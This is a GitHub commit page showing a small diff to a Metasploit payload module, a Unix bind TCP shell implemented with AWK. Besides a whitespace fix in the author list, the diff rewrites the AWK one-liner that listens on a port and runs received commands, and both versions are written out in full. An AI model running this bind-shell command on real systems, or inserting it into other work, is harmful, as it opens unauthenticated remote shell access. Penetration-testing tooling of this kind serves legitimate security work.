Skip to content

Commit b20401c

Browse files
committed
Modifications done in each PR.
1 parent e298872 commit b20401c

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/payloads/singles/cmd/unix/bind_awk.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def initialize(info = {})
1919
super(merge_info(info,
2020
'Name' => 'Unix Command Shell, Bind TCP (via AWK)',
2121
'Description' => 'Listen for a connection and spawn a command shell via AWK',
22-
'Author' =>
22+
'Author' =>
2323
[
2424
'espreto <robertoespreto[at]gmail.com>',
2525
'Ulisses Castro <uss.thebug[at]gmail.com>'
@@ -50,7 +50,7 @@ def generate
5050
# Returns the command string to use for execution
5151
#
5252
def command_string
53-
"awk 'BEGIN{for(s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";s|&getline c;close(c)){while(c|&getline)print$0|&s}}'"
53+
"awk 'BEGIN{s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
5454
end
5555

5656
end

0 commit comments

Comments
 (0)